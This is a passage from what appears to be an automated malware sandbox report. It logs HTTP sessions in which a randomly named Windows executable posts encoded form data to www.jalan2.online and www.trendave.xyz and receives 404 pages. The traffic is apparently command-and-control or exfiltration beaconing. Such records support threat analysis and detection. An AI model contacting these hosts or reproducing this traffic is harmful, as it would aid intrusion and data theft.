                                                                  Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 [TRUNCATED]
                                                                  Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$NhuB+c9>(:.+v6IW`l2xcxz+:}_-ohWvT$dm47/kDa-4_Jt] %6$YvLi>Fj3bC{.~p/+a
                                                                  Dec 5, 2024 14:08:45.183530092 CET5INData Raw: 30 0d 0a 0d 0a
                                                                  Data Ascii: 0


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  15192.168.2.449914108.181.189.7801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:46.536875010 CET10834OUTPOST /lvda/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.jalan2.online
                                                                  Origin: http://www.jalan2.online
                                                                  Referer: http://www.jalan2.online/lvda/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 4a 4a 72 79 55 68 4f 30 67 6d 71 6c 32 74 70 5a 33 76 4c 2f 30 78 38 45 32 53 31 38 38 39 68 2f 6d 61 64 6c 41 57 43 4c 65 76 54 72 7a 6b 43 34 4d 43 72 6c 76 55 58 47 39 72 48 33 68 36 6f 45 32 50 56 53 77 53 4e 57 66 53 69 4d 52 73 62 4e 47 50 61 73 6d 62 42 48 4c 4d 45 36 58 48 57 38 6f 2b 6e 4d 6e 51 4d 6d 41 76 77 6e 44 4c 31 2b 38 51 72 73 45 42 6b 57 36 30 77 67 41 44 62 4c 52 55 4d 61 4f 59 75 59 68 6c 54 77 36 38 64 62 6b 70 6d 61 70 33 37 59 6b 39 51 6b 74 4c 55 4a 72 33 30 43 4a 32 2f 78 65 4c 38 33 47 2f 7a 49 55 42 49 73 6b 7a 4d 57 35 4d 44 7a 4d 43 6e 66 55 57 59 31 73 68 54 62 6a 4a 61 32 73 30 67 53 74 5a 45 6f 4c 39 76 42 67 78 43 6a 41 4d 6d 67 39 67 43 47 59 76 62 66 32 4d 6e 78 59 4b 2b 72 4a 74 70 61 6e 71 6b 6c 47 45 32 77 76 6e 54 6a 50 57 6e 4b 4f 4d 7a 72 33 71 58 4c 37 51 6f 54 6b 78 32 57 6e 7a 4f 51 69 50 32 55 59 41 41 66 70 64 57 35 6b 30 48 79 51 4a 71 68 71 43 52 74 53 61 70 57 2f 64 36 6c 6b 54 31 72 57 58 50 49 32 42 42 34 6d 6e 31 4f 4e 64 6e 48 37 4a 4d [TRUNCATED]
                                                                  Data Ascii: -n=JJryUhO0gmql2tpZ3vL/0x8E2S1889h/madlAWCLevTrzkC4MCrlvUXG9rH3h6oE2PVSwSNWfSiMRsbNGPasmbBHLME6XHW8o+nMnQMmAvwnDL1+8QrsEBkW60wgADbLRUMaOYuYhlTw68dbkpmap37Yk9QktLUJr30CJ2/xeL83G/zIUBIskzMW5MDzMCnfUWY1shTbjJa2s0gStZEoL9vBgxCjAMmg9gCGYvbf2MnxYK+rJtpanqklGE2wvnTjPWnKOMzr3qXL7QoTkx2WnzOQiP2UYAAfpdW5k0HyQJqhqCRtSapW/d6lkT1rWXPI2BB4mn1ONdnH7JMnsksI7VCt/nxnpq1UVBCGOsfFLAhrL6fLnd4mR+s4dpCiz8CaSdb2K/rQihZmycwbQ/Rhi0F/lt8LTUojQMNKBAWmpqG/NM9crnF3E6SnSB5k3GVSVCW8YBU25oXKr86RWoMAoDSB9+mkvf5MzG+b19yO+Ql2SaDyVSQk+wie2GD2XC5tt/hNVeiAOF816TsGbkP0UWNkPF9bKtbSD+Nysz2q+QTJcPFiU86wb+qr3w6srXDK99aDDiPVTR3TIEQn3cdIh5RZdXdEg6A+AqBvgbm1ful71eIv8bZZGk7a1fPBT2RFgQjaF3I18dvop/J1fEf/qc+p9mkp98SeAc/ZTG9Y3rhkTCoJXm6zERN2RPGktjKGyUWTopWiwJE1fAkoZoqkbYezdFsaIpLgLnFgrX3G6R4TA3qL335Ad5ZnR3b+kTkjpPPfkxCXb7L+gb2AZbCSiiJKiPMiT+0cjxjEpzYiMZzwurYP8NQo7MQ7b7lkKC50vbBxziTqS8vinnsbJ2A/0TfGQbafXFR/feNqxiJ3uoyGMMtkz3OSWKsPPp1yKoG+PGAJ9h8pVQRYqngImBkuSrX9boMTlwdhE6noILiSY7gILDl9xnqpm2m+xrkoNhJWIBTGqXG8PCuKPbrBWLMtK5R7WivARRt3f9B6Ce1xp7FglQHPY [TRUNCATED]
                                                                  Dec 5, 2024 14:08:47.825619936 CET279INHTTP/1.1 404 Not Found
                                                                  content-type: text/html
                                                                  cache-control: private, no-cache, max-age=0
                                                                  pragma: no-cache
                                                                  date: Thu, 05 Dec 2024 13:08:47 GMT
                                                                  server: LiteSpeed
                                                                  content-encoding: gzip
                                                                  vary: Accept-Encoding
                                                                  transfer-encoding: chunked
                                                                  connection: close
                                                                  Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                                                  Data Ascii: a
                                                                  Dec 5, 2024 14:08:47.825942993 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                                                  Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  16192.168.2.449920108.181.189.7801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:49.187444925 CET464OUTGET /lvda/?-n=ELDSXX2RsHX+gMhA2PfNyBEKowNIoqU7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYmMQdGJQpdXCyyNvs5R5nS90nKpkFpzjMZ1A=&e018=ylo8idjP HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.jalan2.online
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:08:50.339710951 CET1236INHTTP/1.1 404 Not Found
                                                                  content-type: text/html
                                                                  cache-control: private, no-cache, max-age=0
                                                                  pragma: no-cache
                                                                  content-length: 1249
                                                                  date: Thu, 05 Dec 2024 13:08:50 GMT
                                                                  server: LiteSpeed
                                                                  connection: close
                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 [TRUNCATED]
                                                                  Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, [TRUNCATED]
                                                                  Dec 5, 2024 14:08:50.339725971 CET224INData Raw: 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c
                                                                  Data Ascii: 3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  17192.168.2.449936203.161.42.73801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:55.963768959 CET729OUTPOST /nhcb/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.trendave.xyz
                                                                  Origin: http://www.trendave.xyz
                                                                  Referer: http://www.trendave.xyz/nhcb/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 45 76 58 6b 43 69 62 37 69 33 61 66 67 65 33 52 71 6e 43 5a 4d 35 69 62 43 6f 33 30 6c 72 52 6b 76 52 58 4c 74 5a 4c 42 56 57 41 75 68 74 5a 6e 6c 4c 32 51 4d 67 55 41 6f 46 47 7a 45 63 4c 75 44 35 6b 77 58 4e 44 31 4e 4d 30 37 64 4b 72 4b 4e 59 67 35 47 53 6e 2f 67 46 4f 68 75 74 56 67 6d 31 76 4a 7a 46 43 43 69 6f 79 4f 78 44 66 6e 58 4d 50 54 58 59 4b 51 50 6d 41 67 52 72 62 71 49 43 50 4b 45 45 46 6d 2f 69 77 36 48 41 33 6e 7a 39 6f 38 6e 6b 2f 44 4d 42 70 46 31 5a 71 48 52 4c 34 35 62 7a 4e 62 43 78 65 6e 42 6b 6a 50 51 68 4f 4b 55 75 58 47 36 70 75 6e 46 6d 6b 52 76 77 3d 3d
                                                                  Data Ascii: -n=EvXkCib7i3afge3RqnCZM5ibCo30lrRkvRXLtZLBVWAuhtZnlL2QMgUAoFGzEcLuD5kwXND1NM07dKrKNYg5GSn/gFOhutVgm1vJzFCCioyOxDfnXMPTXYKQPmAgRrbqICPKEEFm/iw6HA3nz9o8nk/DMBpF1ZqHRL45bzNbCxenBkjPQhOKUuXG6punFmkRvw==
                                                                  Dec 5, 2024 14:08:57.182180882 CET1236INHTTP/1.1 404 Not Found
                                                                  Date: Thu, 05 Dec 2024 13:08:56 GMT
                                                                  Server: Apache
                                                                  Content-Length: 16052
                                                                  Connection: close
                                                                  Content-Type: text/html
                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                  Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                  Dec 5, 2024 14:08:57.182209969 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                                  Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                                  Dec 5, 2024 14:08:57.182220936 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                                  Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                                  Dec 5, 2024 14:08:57.182420969 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                  Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                                  Dec 5, 2024 14:08:57.182430983 CET896INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                                  Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                                  Dec 5, 2024 14:08:57.182440042 CET1236INData Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20
                                                                  Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
                                                                  Dec 5, 2024 14:08:57.182451010 CET1236INData Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32
                                                                  Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
                                                                  Dec 5, 2024 14:08:57.182461023 CET448INData Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68
                                                                  Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
                                                                  Dec 5, 2024 14:08:57.182732105 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                                  Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                                  Dec 5, 2024 14:08:57.182745934 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                                  Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
                                                                  Dec 5, 2024 14:08:57.302037001 CET1236INData Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31
                                                                  Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  18192.168.2.449944203.161.42.73801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:58.630397081 CET749OUTPOST /nhcb/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.trendave.xyz
                                                                  Origin: http://www.trendave.xyz
                                                                  Referer: http://www.trendave.xyz/nhcb/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 45 76 58 6b 43 69 62 37 69 33 61 66 78 50 6e 52 74 45 71 5a 62 4a 69 63 48 6f 33 30 75 4c 52 67 76 52 4c 4c 74 59 4f 5a 56 6b 55 75 6d 49 6c 6e 6b 4f 43 51 66 51 55 41 37 46 47 32 4a 38 4b 67 44 35 67 4f 58 49 44 31 4e 4d 67 37 64 4f 76 4b 4f 76 30 32 48 43 6e 35 68 31 4f 76 71 74 56 67 6d 31 76 4a 7a 46 47 34 69 6f 61 4f 78 7a 50 6e 52 6f 6a 53 65 34 4b 54 65 6d 41 67 56 72 62 75 49 43 4f 5a 45 42 64 49 2f 68 49 36 48 43 2f 6e 77 76 41 39 6f 6b 2f 46 49 42 6f 35 78 6f 48 39 55 2b 46 66 63 79 6c 6b 4d 67 43 30 4e 43 75 56 42 51 76 64 47 75 7a 31 6e 75 6e 54 49 6c 5a 59 30 2f 50 4c 30 70 62 58 71 31 64 34 76 56 4d 6c 47 67 77 72 41 52 45 3d
                                                                  Data Ascii: -n=EvXkCib7i3afxPnRtEqZbJicHo30uLRgvRLLtYOZVkUumIlnkOCQfQUA7FG2J8KgD5gOXID1NMg7dOvKOv02HCn5h1OvqtVgm1vJzFG4ioaOxzPnRojSe4KTemAgVrbuICOZEBdI/hI6HC/nwvA9ok/FIBo5xoH9U+FfcylkMgC0NCuVBQvdGuz1nunTIlZY0/PL0pbXq1d4vVMlGgwrARE=
                                                                  Dec 5, 2024 14:08:59.845951080 CET1236INHTTP/1.1 404 Not Found
                                                                  Date: Thu, 05 Dec 2024 13:08:59 GMT
                                                                  Server: Apache
                                                                  Content-Length: 16052
                                                                  Connection: close
                                                                  Content-Type: text/html
                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                  Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
